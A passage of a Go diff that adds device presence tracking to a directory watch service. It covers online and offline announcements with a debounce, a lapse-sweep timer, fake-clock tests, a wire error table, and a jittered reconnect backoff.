the devices peers are told are online: those holding a live +// socket and those still inside their gap. The caller holds p.mu. +func (p *presence) believed() map[string]bool { + set := p.liveDevices() + for d := range p.waiting { + set[d] = true + } + return set +} + +// liveDevices is the devices that hold a live socket. The caller holds p.mu. +func (p *presence) liveDevices() map[string]bool { + now := p.now() + set := map[string]bool{} + for d := range p.socks { + if p.liveSocks(d, now) > 0 { + set[d] = true + } + } + return set +} + +// online is whether device holds a live watch socket now. +func (p *presence) online(device string) bool { + p.mu.Lock() + defer p.mu.Unlock() + return p.liveSocks(device, p.now()) > 0 +} + +// onlineSet is the devices that hold a live watch socket now. +func (p *presence) onlineSet() map[string]bool { + p.mu.Lock() + defer p.mu.Unlock() + return p.liveDevices() +} + +// announce tells every event socket except those of `except` about e. +func (p *presence) announce(e dirwatch.Event, except string) { + p.mu.Lock() + defer p.mu.Unlock() + p.tell(e, except) +} + +// revokedSince tells the event sockets about each device stopped in next that was not in prev. +func (p *presence) revokedSince(prev, next map[string]bool) { + p.mu.Lock() + defer p.mu.Unlock() + for device := range next { + if !prev[device] { + p.tell(dirwatch.RevokedEvent(device, p.now()), device) + } + } +} + +// stop cancels every gap and the sweep, for the directory's own Close. +func (p *presence) stop() { + p.mu.Lock() + defer p.mu.Unlock() + for d, g := range p.waiting { + g.stop() + delete(p.waiting, d) + } + p.alarm.cancel() +} + +// offer queues e for the socket. A full buffer drops e: events are hints, and +// the list is the truth a client re-reads. +func (s *Sub) offer(e dirwatch.Event) { + select { + case s.events <- e: + default: + } +} + +// Events makes the watcher an event socket and answers the channel its event +// frames arrive on. It is queued with one presence frame per other online +// device before it is returned, so the first frames after the version are +// those. Call it once, before the first frame is written. +func (s *Sub) Events() <-chan dirwatch.Event { + s.f.pres.subscribe(s) + return s.events +} + +// Online is whether device holds at least one watch socket now (docs/ux-pairing-contract.md, section 5). +func (f *Feed) Online(device string) bool { return f.pres.online(device) } + +// OnlineSet is every device that holds a watch socket now. The caller owns the map. +func (f *Feed) OnlineSet() map[string]bool { return f.pres.onlineSet() } + +// announceJoin tells the event sockets of every device but the new one that it +// joined. A backend calls it, through SetOnJoin, in the turn that approves the +// device; the name is the sealed name as stored. +func (f *Feed) announceJoin(j Joined) { + f.pres.announce(dirwatch.JoinedEvent(j.Device, j.Name, j.Platform, j.At), j.Device) +} + +// OnSeen registers fn to stamp a device's last_seen: it is called with the +// directory time (unix ms) at each watch connect and when a device closes its +// last socket, never per ping and never while the feed holds a lock. A +// backend sets it once, before it serves. +func (f *Feed) OnSeen(fn func(device string, at int64)) { + f.pres.mu.Lock() + defer f.pres.mu.Unlock() + f.pres.seen = fn +} diff --git a/internal/directory/watchpresence_test.go b/internal/directory/watchpresence_test.go new file mode 100644 index 0000000000..204c6e8f17 --- /dev/null +++ b/internal/directory/watchpresence_test.go @@ -0,0 +1,186 @@ +package directory + +import ( + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// timers stands in for the clock's timers: it holds the gaps started and runs them on demand. +type timers struct{ pending []*fakeTimer } + +type fakeTimer struct { + fn func() + stopped bool +} + +func (t *timers) after(_ time.Duration, fn func()) func() bool { + ft := &fakeTimer{fn: fn} + t.pending = append(t.pending, ft) + return func() bool { was := !ft.stopped; ft.stopped = true; return was } +} + +// fire runs every timer not stopped, as the clock would once the debounce passed. +func (t *timers) fire() { + for _, ft := range t.pending { + if !ft.stopped { + ft.stopped = true + ft.fn() + } + } +} + +func newTestFeed() (*Feed, *timers) { + f := NewFeed(func() time.Time { return time.UnixMilli(5000) }) + ts := &timers{} + f.pres.after = ts.after + return f, ts +} + +// join subscribes device, as an event socket when events is set, and answers the sub and its frames. +func join(t *testing.T, f *Feed, device string, events bool) (*Sub, <-chan dirwatch.Event) { + t.Helper() + s, err := f.Subscribe(device, nil) + if err != nil { + t.Fatal(err) + } + if !events { + return s, nil + } + return s, s.Events() +} + +// drain returns what is queued without waiting. +func drain(ch <-chan dirwatch.Event) (got []string) { + for { + select { + case e := <-ch: + got = append(got, describe(e)) + default: + return got + } + } +} + +func describe(e dirwatch.Event) string { + switch { + case e.Online != nil && *e.Online: + return e.T + ":" + e.Device + ":on" + case e.Online != nil: + return e.T + ":" + e.Device + ":off" + } + return e.T + ":" + e.Device +} + +func same(t *testing.T, got, want []string) { + t.Helper() + if len(got) != len(want) { + t.Fatalf("got %v, want %v", got, want) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("got %v, want %v", got, want) + } + } +} + +func TestFirstSocketIsNewsAndTheNewcomerHearsWhoIsOnline(t *testing.T) { + f, _ := newTestFeed() + _, a := join(t, f, "dev_a", true) + _, b := join(t, f, "dev_b", true) + same(t, drain(a), []string{"presence:dev_b:on"}) + same(t, drain(b), []string{"presence:dev_a:on"}) + join(t, f, "dev_b", true) + same(t, drain(a), nil) // a second socket of a device is not news + if !f.Online("dev_b") || len(f.OnlineSet()) != 2 { + t.Fatalf("online set is %v", f.OnlineSet()) + } +} + +func TestASocketWithoutEventsHearsNothing(t *testing.T) { + f, _ := newTestFeed() + old, _ := join(t, f, "dev_a", false) + join(t, f, "dev_b", true) + f.announceJoin(Joined{Device: "dev_c", Name: "bg==", Platform: "linux"}) + if len(old.events) != 0 { + t.Fatalf("a socket that did not opt in has %d queued events", len(old.events)) + } +} + +func TestOfflineWaitsForTheGapAndOnlyTheLastSocketStartsIt(t *testing.T) { + f, ts := newTestFeed() + _, a := join(t, f, "dev_a", true) + b1, _ := join(t, f, "dev_b", true) + b2, _ := join(t, f, "dev_b", true) + drain(a) + b1.Close() + b1.Close() // closing twice counts once + ts.fire() + same(t, drain(a), nil) + if !f.Online("dev_b") { + t.Fatal("one socket left, the device is online") + } + b2.Close() + same(t, drain(a), nil) // still inside the gap + if f.Online("dev_b") { + t.Fatal("no socket, the device is not online even inside the gap") + } + ts.fire() + same(t, drain(a), []string{"presence:dev_b:off"}) +} + +func TestAReconnectInsideTheGapSaysNothing(t *testing.T) { + f, ts := newTestFeed() + _, a := join(t, f, "dev_a", true) + b, _ := join(t, f, "dev_b", true) + drain(a) + b.Close() + join(t, f, "dev_b", true) + ts.fire() + same(t, drain(a), nil) +} + +func TestASocketOpenedInsideAGapStillHearsTheDeviceOnline(t *testing.T) { + f, ts := newTestFeed() + join(t, f, "dev_a", true) + b, _ := join(t, f, "dev_b", true) + b.Close() + _, c := join(t, f, "dev_c", true) + same(t, drain(c), []string{"presence:dev_a:on", "presence:dev_b:on"}) + ts.fire() + same(t, drain(c), []string{"presence:dev_b:off"}) +} + +func TestJoinedGoesToOthersNotToTheNewDevice(t *testing.T) { + f, _ := newTestFeed() + _, a := join(t, f, "dev_a", true) + _, c := join(t, f, "dev_c", true) + drain(a) + drain(c) + f.announceJoin(Joined{Device: "dev_c", Name: "bg==", Platform: "linux"}) + same(t, drain(a), []string{"joined:dev_c"}) + same(t, drain(c), nil) +} + +func TestPublishAnnouncesANewlyRevokedDeviceOnce(t *testing.T) { + f, _ := newTestFeed() + _, a := join(t, f, "dev_a", true) + drain(a) + f.Publish(Status{Version: 1, Stopped: map[string]bool{"dev_b": true}}) + f.Publish(Status{Version: 2, Stopped: map[string]bool{"dev_b": true}}) + same(t, drain(a), []string{"revoked:dev_b"}) +} + +func TestSeenIsStampedAtEachConnectAndAtTheLastCloseOnly(t *testing.T) { + f, _ := newTestFeed() + var stamps []string + f.OnSeen(func(d string, at int64) { stamps = append(stamps, d) }) + a1, _ := join(t, f, "dev_a", false) + a2, _ := join(t, f, "dev_a", false) + same(t, stamps, []string{"dev_a", "dev_a"}) + a1.Close() + same(t, stamps, []string{"dev_a", "dev_a"}) + a2.Close() + same(t, stamps, []string{"dev_a", "dev_a", "dev_a"}) +} diff --git a/internal/directory/watchsweep.go b/internal/directory/watchsweep.go new file mode 100644 index 0000000000..6d0870e333 --- /dev/null +++ b/internal/directory/watchsweep.go @@ -0,0 +1,100 @@ +package directory + +import "time" + +// sweepSlack is the soonest a sweep is set after now: a device that lapsed a +// moment ago is found within a second, and a burst of lapses is one wake and +// not one wake each. +const sweepSlack = time.Second + +// alarm is the one pending sweep. gen tells a timer that fires after its alarm +// was replaced or cancelled that it is not the current one. +type alarm struct { + at int64 // unix ms the sweep is set for; 0 when none is set + stop func() bool + gen uint64 +} + +func (a *alarm) armed() bool { return a.stop != nil } + +func (a *alarm) cancel() { + if a.stop != nil { + a.stop() + } + a.stop, a.at = nil, 0 + a.gen++ +} + +// arm sets the sweep at the earliest moment a device that is held online goes +// silent, and never when nobody is watching: a device nobody looks at needs no +// push, and a later reader gets the right answer at read time (contract 21.12.4). +// An alarm that is already set at or before that moment stays. The caller holds p.mu. +func (p *presence) arm() { + due, ok := p.earliestLapse() + if len(p.watchers) == 0 || !ok { + p.alarm.cancel() + return + } + now := p.now() + due = max(due, now+sweepSlack.Milliseconds()) + if p.alarm.armed() && p.alarm.at <= due { + return + } + p.alarm.cancel() + gen := p.alarm.gen + p.alarm.at = due + p.alarm.stop = p.after(time.Duration(due-now)*time.Millisecond, func() { p.sweep(gen) }) +} + +// lapseAt is the first millisecond device is no longer live: its newest sign of +// life among the sockets that were not told to go, plus that socket's window. A device in +// its debounce is the gap's to announce, and one whose sockets were all told to +// go was announced already; neither has a lapse. The caller holds p.mu. +func (p *presence) lapseAt(device string) (at int64, ok bool) { + if p.waiting[device] != nil { + return 0, false + } + for s := range p.socks[device] { + if !s.lapsed.Load() { + at, ok = max(at, s.alive.Load()+Window(s.beat).Milliseconds()+1), true + } + } + return at, ok +} + +// earliestLapse is the soonest lapseAt of any device. The caller holds p.mu. +func (p *presence) earliestLapse() (earliest int64, ok bool) { + for d := range p.socks { + if at, has := p.lapseAt(d); has && (!ok || at < earliest) { + earliest, ok = at, true + } + } + return earliest, ok +} + +// sweep announces each device whose last live socket lapsed, closes those +// sockets and arms the next sweep. A timer of a replaced alarm does nothing. +func (p *presence) sweep(gen uint64) { + p.mu.Lock() + if p.alarm.gen != gen { + p.mu.Unlock() + return + } + p.alarm.cancel() + stamps := p.expireLapsed(p.now()) + p.arm() + hook := p.seen + p.mu.Unlock() + p.stamp(hook, stamps...) +} + +// expireLapsed expires every device whose lapse is at or before now and answers +// the last_seen stamps owed. The caller holds p.mu. +func (p *presence) expireLapsed(now int64) (stamps []seenAt) { + for d := range p.socks { + if at, ok := p.lapseAt(d); ok && at <= now { + stamps = append(stamps, p.expire(d, 0)...) + } + } + return stamps +} diff --git a/internal/directory/watchsweep_test.go b/internal/directory/watchsweep_test.go new file mode 100644 index 0000000000..4a8cf83116 --- /dev/null +++ b/internal/directory/watchsweep_test.go @@ -0,0 +1,256 @@ +package directory + +import ( + "github.com/Agent-Field/codeaf/internal/dirwatch" + "testing" + "time" +) + +// moving is a clock a test moves by hand, with timers that remember how long +// they were set for, so a case can read when the sweep is armed. +type moving struct { + now time.Time + armed []time.Duration + pending []*fakeTimer +} + +func (m *moving) clock() time.Time { return m.now } + +func (m *moving) after(d time.Duration, fn func()) func() bool { + m.armed = append(m.armed, d) + ft := &fakeTimer{fn: fn} + m.pending = append(m.pending, ft) + return func() bool { was := !ft.stopped; ft.stopped = true; return was } +} + +// live is the timers not stopped and not yet run. +func (m *moving) live() (n int) { + for _, ft := range m.pending { + if !ft.stopped { + n++ + } + } + return n +} + +// advance moves the clock by d and runs the timers set so far, as one wake would. +func (m *moving) advance(d time.Duration) { + m.now = m.now.Add(d) + pending := m.pending + for _, ft := range pending { + if !ft.stopped { + ft.stopped = true + ft.fn() + } + } +} + +func newMovingFeed() (*Feed, *moving) { + m := &moving{now: time.UnixMilli(1_000_000)} + f := NewFeed(m.clock) + f.SetAfter(m.after) + return f, m +} + +func joinBeat(t *testing.T, f *Feed, device string, beat time.Duration, events bool) (*Sub, <-chan dirwatch.Event) { + t.Helper() + s, err := f.SubscribeBeat(device, nil, beat) + if err != nil { + t.Fatal(err) + } + if !events { + return s, nil + } + return s, s.Events() +} + +func TestParseBeat(t *testing.T) { + for _, tc := range []struct { + in []string + want time.Duration + ok bool + }{ + {nil, DefaultBeat, true}, + {[]string{"1"}, time.Second, true}, + {[]string{"60"}, 60 * time.Second, true}, + {[]string{"10", "10"}, 10 * time.Second, true}, + {[]string{"0"}, 0, false}, + {[]string{"61"}, 0, false}, + {[]string{"x"}, 0, false}, + {[]string{""}, 0, false}, + {[]string{"+5"}, 0, false}, + {[]string{"1.5"}, 0, false}, + {[]string{"5", "6"}, 0, false}, + } { + got, err := ParseBeat(tc.in) + if (err == nil) != tc.ok || got != tc.want { + t.Errorf("ParseBeat(%q) = %v, %v; want %v ok=%v", tc.in, got, err, tc.want, tc.ok) + } + } +} + +func TestWindowIsTwoAndAHalfBeats(t *testing.T) { + if got := Window(10 * time.Second); got != 25*time.Second { + t.Fatalf("window of a 10 s beat is %v, want 25s", got) + } + if got := Window(DefaultBeat); got != 75*time.Second { + t.Fatalf("window of the default beat is %v, want 75s", got) + } +} + +func TestASocketIsLiveForItsWindowAndThenCountsForNothing(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_a", 2*time.Second, false) + m.advance(5 * time.Second) + if !f.Online("dev_a") { + t.Fatal("a socket is live at exactly its window") + } + m.advance(time.Millisecond) + if f.Online("dev_a") || len(f.OnlineSet()) != 0 { + t.Fatal("a socket past its window is not online, and a read needs no timer to say so") + } +} + +func TestAPingKeepsASocketLive(t *testing.T) { + f, m := newMovingFeed() + s, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + for range 5 { + m.advance(2 * time.Second) + s.Ping() + } + if !f.Online("dev_a") { + t.Fatal("a socket that pings every beat stays online") + } +} + +func TestNoSweepWithoutAViewer(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_a", 2*time.Second, false) + if len(m.armed) != 0 { + t.Fatalf("an identity with no event socket set an alarm: %v", m.armed) + } +} + +func TestTheSweepIsSetAtTheEarliestLapse(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_v", 60*time.Second, true) + joinBeat(t, f, "dev_a", 2*time.Second, false) + last := m.armed[len(m.armed)-1] + if want := 5*time.Second + time.Millisecond; last != want { + t.Fatalf("sweep set for %v, want %v", last, want) + } +} + +func TestTheSweepIsNeverSoonerThanASecond(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_a", 2*time.Second, false) + m.advance(time.Minute) // long past its lapse, nobody swept + joinBeat(t, f, "dev_v", 60*time.Second, true) + if last := m.armed[len(m.armed)-1]; last != time.Second { + t.Fatalf("sweep set for %v, want 1s", last) + } +} + +func TestTheSweepAnnouncesOnceClosesTheSocketsAndStampsLastSign(t *testing.T) { + f, m := newMovingFeed() + var stamps []int64 + f.OnSeen(func(d string, at int64) { + if d == "dev_a" { + stamps = append(stamps, at) + } + }) + _, viewer := joinBeat(t, f, "dev_v", 60*time.Second, true) + a, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + same(t, drain(viewer), []string{"presence:dev_a:on"}) + m.advance(2 * time.Second) + a.Ping() + signOfLife := m.now.UnixMilli() + m.advance(7 * time.Second) + same(t, drain(viewer), []string{"presence:dev_a:off"}) + if len(stamps) != 2 || stamps[1] != signOfLife { + t.Fatalf("last_seen stamps %v, want connect then the last sign of life %d", stamps, signOfLife) + } + select { + case <-a.silence: + default: + t.Fatal("the lapsed socket was not told to go") + } + a.Close() // the goroutine of the closed socket leaves: no gap, nothing announced + if m.live() != 1 { + t.Fatalf("%d timers pending after a lapsed socket closed, want only the sweep", m.live()) + } + m.advance(OfflineDebounce) + same(t, drain(viewer), nil) +} + +func TestALapsedSocketIsNeverLiveAgain(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_v", 60*time.Second, true) + a, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + m.advance(6 * time.Second) + a.Ping() + if f.Online("dev_a") { + t.Fatal("a ping after the lapse brought the socket back") + } +} + +func TestADeviceThatReturnsAfterTheLapseIsAnnouncedOnline(t *testing.T) { + f, m := newMovingFeed() + _, viewer := joinBeat(t, f, "dev_v", 60*time.Second, true) + joinBeat(t, f, "dev_a", 2*time.Second, false) + m.advance(6 * time.Second) + drain(viewer) + joinBeat(t, f, "dev_a", 2*time.Second, false) + same(t, drain(viewer), []string{"presence:dev_a:on"}) +} + +func TestOneLiveSocketKeepsTheDeviceOnlineAndUnannounced(t *testing.T) { + f, m := newMovingFeed() + _, viewer := joinBeat(t, f, "dev_v", 60*time.Second, true) + joinBeat(t, f, "dev_a", 2*time.Second, false) + b, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + drain(viewer) + m.advance(3 * time.Second) + b.Ping() + m.advance(3 * time.Second) + if !f.Online("dev_a") { + t.Fatal("one live socket is enough") + } + same(t, drain(viewer), nil) +} + +func TestTheSweepIsSetAgainWhileAViewerAndALiveSocketRemain(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_v", 60*time.Second, true) + a, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + m.advance(4 * time.Second) + a.Ping() + n := len(m.armed) + m.advance(2 * time.Second) // the first alarm: nothing lapsed, a later one is set + if len(m.armed) != n+1 || m.armed[n] != 3*time.Second+time.Millisecond { + t.Fatalf("armed %v after the first alarm, want one more at the new earliest lapse", m.armed) + } +} + +func TestNoAlarmRemainsOnceTheLastViewerLeaves(t *testing.T) { + f, _ := newMovingFeed() + v, _ := joinBeat(t, f, "dev_v", 60*time.Second, true) + joinBeat(t, f, "dev_a", 2*time.Second, false) + if !f.pres.alarm.armed() { + t.Fatal("no alarm set with a viewer") + } + v.Close() + if f.pres.alarm.armed() { + t.Fatal("an alarm is left after the last viewer went") + } +} + +func TestAStaleSocketThatClosesBeforeTheSweepIsAnnouncedAtOnce(t *testing.T) { + f, m := newMovingFeed() + _, viewer := joinBeat(t, f, "dev_v", 60*time.Second, true) + a, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + drain(viewer) + m.now = m.now.Add(6 * time.Second) // lapsed, and the alarm has not run + a.Close() + same(t, drain(viewer), []string{"presence:dev_a:off"}) +} diff --git a/internal/directory/watchwire_test.go b/internal/directory/watchwire_test.go new file mode 100644 index 0000000000..b70a328ed1 --- /dev/null +++ b/internal/directory/watchwire_test.go @@ -0,0 +1,76 @@ +package directory + +import ( + "context" + "path/filepath" + "testing" + "time" +) + +// backend is what the two stores share for these tests. +type backend struct { + name string + dir Directory + feed *Feed + join func(Joined) + clock *tick +} + +// tick is a clock that moves only when told. +type tick struct{ t time.Time } + +func (c *tick) Now() time.Time { return c.t } +func (c *tick) Advance(d time.Duration) { c.t = c.t.Add(d) } + +func backends(t *testing.T) []backend { + t.Helper() + cm := &tick{time.UnixMilli(1_000_000)} + mem := NewMemory(cm.Now) + cs := &tick{time.UnixMilli(1_000_000)} + db, err := OpenSQLite(filepath.Join(t.TempDir(), "d.db"), cs.Now) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { db.Close() }) + return []backend{ + {"memory", mem, mem.Feed(), mem.pairing.onJoin, cm}, + {"sqlite", db, db.Feed(), db.pairing.onJoin, cs}, + } +} + +func TestBackendsAnnounceJoinedAndStampLastSeen(t *testing.T) { + for _, b := range backends(t) { + t.Run(b.name, func(t *testing.T) { + ctx := context.Background() + if err := b.dir.For("dev_a").PutDevice(ctx, "dev_a", Device{V: 1}); err != nil { + t.Fatal(err) + } + before, _ := b.dir.For("dev_a").List(ctx) + b.clock.Advance(time.Hour) + _, events := join(t, b.feed, "dev_a", true) + drain(events) + b.join(Joined{Device: "dev_new", Name: "bg==", Platform: "linux", At: 7}) + same(t, drain(events), []string{"joined:dev_new"}) + after, _ := b.dir.For("dev_a").List(ctx) + if got := after.Devices["dev_a"].LastSeen; got != b.clock.Now().UnixMilli() { + t.Fatalf("last_seen is %d, want the connect time", got) + } + if after.Version != before.Version { + t.Fatalf("a connect moved the version %d -> %d", before.Version, after.Version) + } + }) + } +} + +func TestPresenceViewListsOnlyDevicesThatAreNotRevoked(t *testing.T) { + l := Listing{Now: 9, Devices: map[string]Device{ + "dev_on": {LastSeen: 1}, + "dev_off": {LastSeen: 4}, + "dev_rev": {Revoked: true}, + }} + v := presenceOf(l, map[string]bool{"dev_on": true}) + want := map[string]DevicePresence{"dev_on": {true, 9}, "dev_off": {false, 4}} + if len(v.Devices) != 2 || v.Devices["dev_on"] != want["dev_on"] || v.Devices["dev_off"] != want["dev_off"] { + t.Fatalf("view is %+v", v) + } +} diff --git a/internal/directory/wire.go b/internal/directory/wire.go new file mode 100644 index 0000000000..0064066006 --- /dev/null +++ b/internal/directory/wire.go @@ -0,0 +1,92 @@ +package directory + +import ( + "errors" + "net/http" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// wireError is one row of the wire's error table: the sentinel a Client +// returns, the code the body names it by, and the HTTP status that carries it. +type wireError struct { + err error + code string + status int +} + +// wireErrors is the single place a sentinel and its code meet, so the handler +// and the client cannot drift apart. Order matters only for errors.Is chains. +var wireErrors = []wireError{ + {ErrNotFound, "not_found", http.StatusNotFound}, + {ErrExists, "exists", http.StatusConflict}, + {ErrLeaseHeld, "lease_held", http.StatusConflict}, + {ErrFenceStale, "fence_stale", http.StatusConflict}, + {ErrHeadMoved, "head_moved", http.StatusConflict}, + {ErrCAS, "cas", http.StatusConflict}, + {ErrUnauthorized, "unauthorized", http.StatusUnauthorized}, + {ErrRevoked, "revoked", http.StatusUnauthorized}, + {ErrSelfRevoke, "self_revoke", http.StatusBadRequest}, + {ErrRotated, "rotated", http.StatusGone}, + {wireauth.ErrGone, "gone", http.StatusGone}, + {ErrRotationStep, "rotation_step", http.StatusConflict}, + {ErrBadGrace, "bad_grace", http.StatusBadRequest}, + {wireauth.ErrRateLimited, "rate_limited", http.StatusTooManyRequests}, + {wireauth.ErrTooManyIdentities, "too_many_identities", http.StatusTooManyRequests}, + {wireauth.ErrSkew, "skew", http.StatusUnauthorized}, + {ErrTooManyWatchers, "too_many_watchers", http.StatusTooManyRequests}, + {errUpgradeRequired, "upgrade_required", http.StatusUpgradeRequired}, + {errBadRequest, "bad_request", http.StatusBadRequest}, + {errTooLarge, "too_large", http.StatusRequestEntityTooLarge}, + // The link-pairing rows (docs/ux-pairing-contract.md). "gone" is 404 here + // and 410 for a deleted identity, so a row is matched by code and status. + {ErrRequestGone, "gone", http.StatusNotFound}, + {ErrAlreadyDecided, "already_decided", http.StatusConflict}, + {ErrTooBig, "too_big", http.StatusRequestEntityTooLarge}, + {ErrFull, "full", http.StatusServiceUnavailable}, +} + +// Codes that have no sentinel a Client returns: the wire's own refusals. +var ( + errBadRequest = ErrBadRequest + errTooLarge = errors.New("directory: request too large") + // errUpgradeRequired answers a watch request that is not a WebSocket upgrade. + errUpgradeRequired = errors.New("directory: upgrade required") + errInternal = errors.New("directory: internal error") +) + +// classify finds the table row for err; any error the table does not know is +// a server fault. +func classify(err error) wireError { + for _, w := range wireErrors { + if errors.Is(err, w.err) { + return w + } + } + return wireError{errInternal, "internal", http.StatusInternalServerError} +} + +// errorOf turns a code and the status that carried it back into its sentinel, +// or nil when the pair is unknown. +func errorOf(code string, status int) error { + for _, w := range wireErrors { + if w.code == code && w.status == status { + return w.err + } + } + return nil +} + +// errBody is the JSON every refusal carries. +type errBody struct { + Err string `json:"err"` +} + +const dirBase = "/v1/dir" + +// WatchPath is the signed WebSocket route that says the directory changed. +const WatchPath = dirBase + "/watch" + +// rotationPath is the one signed verb for replacing an identity. It is the +// identity's, not the directory's, so it sits beside the directory's base. +const rotationPath = "/v1/identity/rotation" diff --git a/internal/dirwatch/backoff.go b/internal/dirwatch/backoff.go new file mode 100644 index 0000000000..7350659ea7 --- /dev/null +++ b/internal/dirwatch/backoff.go @@ -0,0 +1,18 @@ +package dirwatch + +import "time" + +// backoff is the full-jitter ladder of reconnect waits. Its zero value is ready. +type backoff struct { + ceiling time.Duration + rand func() float64 // in [0,1) +} + +// next climbs one rung and returns a wait anywhere below it. +func (b *backoff) next() time.Duration { + b.ceiling = min(max(b.ceiling*2, RetryBase), RetryCap) + return time.Duration(b.rand() * float64(b.ceiling)) +} + +// reset starts the ladder over, after a socket that worked. +func (b *backoff) reset() { b.ceiling = 0 } diff --git a/internal/dirwatch/clock.go b/internal/dirwatch/clock.go new file mode 100644 index 0000000000..2da8cc31ab --- /dev/null +++ b/internal/dirwatch/clock.go @@ -0,0 +1,29 @@ +package dirwatch + +import "time" + +// Clock is the time the feed lives by, so a test can own it. +type Clock interface { + // Now is the wall clock. It carries no monotonic reading, because a laptop + // that slept is told apart from one that did not by the wall moving on. + Now() time.Time + NewTimer(d time.Duration) Timer +} + +// Timer is a one-shot timer. +type Timer interface { + C() <-chan time.Time + Stop() +} + +// realClock is the machine's clock. +type realClock struct{} + +func (realClock) Now() time.Time { return time.Now().Round(0) } + +func (realClock) NewTimer(d time.Duration) Timer { return realTimer{time.NewTimer(d)} } + +type realTimer struct{ t *time.Timer } + +func (r realTimer) C() <-chan time.Time { return r.t.C } +func (r realTimer) Stop() { r.t.Stop() } diff --git a/internal/dirwatch/doc.go b/internal/dirwatch/doc.go new file mode 100644 index 0000000000..93f08904dd --- /dev/null +++ b/internal/dirwatch/doc.go @@ -0,0 +1,43 @@ +// Package dirwatch follows the directory's change socket, so a screen that +// shows the directory learns of another device's change when it happens rather +// than by asking on a timer. +// +// The socket carries one fact: the directory's version. It never carries +// records, so a frame is only ever a reason to read the list once. This package +// owns the connection (dialling, keeping it alive, noticing it died, coming +// back with jittered waits) and nothing else; what to do with a new version, +// and what to do while the socket is down, stay with the surface that draws +// the list. +// +// One connection is kept per identity per process, however many surfaces +// follow it, and it exists only while somebody follows. +// +// # Presence and joined devices +// +// A socket opened with events (directory.HTTP.Watch does; WatchHolding does +// not) also hears event frames (docs/ux-pairing-contract.md, section 5), and +// the follower's State shows them to a surface: +// +// - State.Online lists, sorted, the other devices that hold a watch socket +// now. A device is online while it holds at least one live socket, one +// that answered a ping within 2.5 beats (25 s at the 10 s beat); the relay +// tells that it is offline when that window passes, so a frozen computer +// shows offline within 30 s, and 15 s after its last socket closed +// otherwise, and says nothing when it reconnects inside that gap. A socket +// the relay closed because it went quiet (CloseSilent) is dialled again at +// once. The set is empty while +// State.Up is false, because the relay names who is online only when a +// socket opens. A surface draws "● spark" for a name in Online and +// "○ dumb" otherwise, and reads the last time a device was seen from the +// device record's last_seen. +// - State.Joined lists the newest MaxJoined device-joined events, oldest +// first, each with a Seq that only rises. A surface remembers the newest +// Seq it showed and shows every higher one once (" joined your +// fleet"); Name is sealed under the metadata key and is opened by the +// surface. Joined survives a reconnect. +// +// A surface waits on Follower.Changes as before and reads State; an Online or +// Joined change is a change like a new version. A revoked event removes the +// device from Online; the list read the version bump calls for says why. +// Frames of a kind this package does not know are ignored. +package dirwatch diff --git a/internal/dirwatch/events.go b/internal/dirwatch/events.go new file mode 100644 index 0000000000..1c38235fe5 --- /dev/null +++ b/internal/dirwatch/events.go @@ -0,0 +1,127 @@ +package dirwatch + +import ( + "slices" + "sort" +) + +// The event frames of a socket opened with events (docs/ux-pairing-contract.md, +// section 5). They carry a string key "t" and no key "v". +const ( + EventJoined = "joined" + EventPresence = "presence" + EventRevoked = "revoked" +) + +// MaxJoined is how many joined events State keeps. A consumer that reads State +// at least once per few seconds never misses one; older ones fall off. +const MaxJoined = 8 + +// Event is one event frame as it is on the wire. Fields a kind does not use +// are absent. Name is sealed under the metadata key; this package never opens it. +type Event struct { + T string `json:"t"` + Device string `json:"device"` + Name string `json:"name,omitempty"` + Platform string `json:"platform,omitempty"` + Online *bool `json:"online,omitempty"` + At int64 `json:"at"` +} + +// PresenceEvent is the frame that says device went online or offline at at. +func PresenceEvent(device string, online bool, at int64) Event { + return Event{T: EventPresence, Device: device, Online: &online, At: at} +} + +// JoinedEvent is the frame that says device joined the fleet at at. +func JoinedEvent(device, name, platform string, at int64) Event { + return Event{T: EventJoined, Device: device, Name: name, Platform: platform, At: at} +} + +// RevokedEvent is the frame that says device was revoked at at. +func RevokedEvent(device string, at int64) Event { + return Event{T: EventRevoked, Device: device, At: at} +} + +// Joined is a device-joined event as State keeps it. Seq counts joined events +// seen by this feed from 1, so a consumer remembers the newest Seq it showed +// and shows each higher one once. +type Joined struct { + Seq uint64 + Device string + Name string // sealed, as sent + Platform string + At int64 +} + +// view is what events have told so far: the online set and the recent joins. +// Its slices are replaced, never edited, so a State handed to a surface stays valid. +type view struct { + online []string // sorted + joined []Joined + seq uint64 +} + +// eventKinds is how each kind of event changes a view. An event of a kind not +// listed changes nothing, as the contract asks of every client. +var eventKinds = map[string]func(view, Event) view{ + EventPresence: applyPresence, + EventJoined: applyJoined, + EventRevoked: func(v view, e Event) view { return v.withoutOnline(e.Device) }, +} + +func (v view) withEvent(e Event) view { + if apply, ok := eventKinds[e.T]; ok { + return apply(v, e) + } + return v +} + +func applyPresence(v view, e Event) view { + if e.Online != nil && *e.Online { + return v.withOnline(e.Device) + } + return v.withoutOnline(e.Device) +} + +func applyJoined(v view, e Event) view { + v.seq++ + j := Joined{Seq: v.seq, Device: e.Device, Name: e.Name, Platform: e.Platform, At: e.At} + keep := v.joined[max(0, len(v.joined)-MaxJoined+1):] + v.joined = append(slices.Clone(keep), j) + return v +} + +func (v view) withOnline(device string) view { + if slices.Contains(v.online, device) { + return v + } + v.online = append(slices.Clone(v.online), device) + sort.Strings(v.online) + return v +} + +func (v view) withoutOnline(device string) view { + v.online = slices.DeleteFunc(slices.Clone(v.online), func(d string) bool { return d == device }) + return v +} + +// forgotten is the view after the socket went down: nobody is known online, +// because the relay says who is only when a socket opens. Joins are kept. +func (v view) forgotten() view { + v.online = nil + return v +} + +// apply files a frame into the state. A pong changes nothing, an event goes +// through the view, and any other frame is a version. +func (fr Frame) apply(st *State, v *view) { + switch { 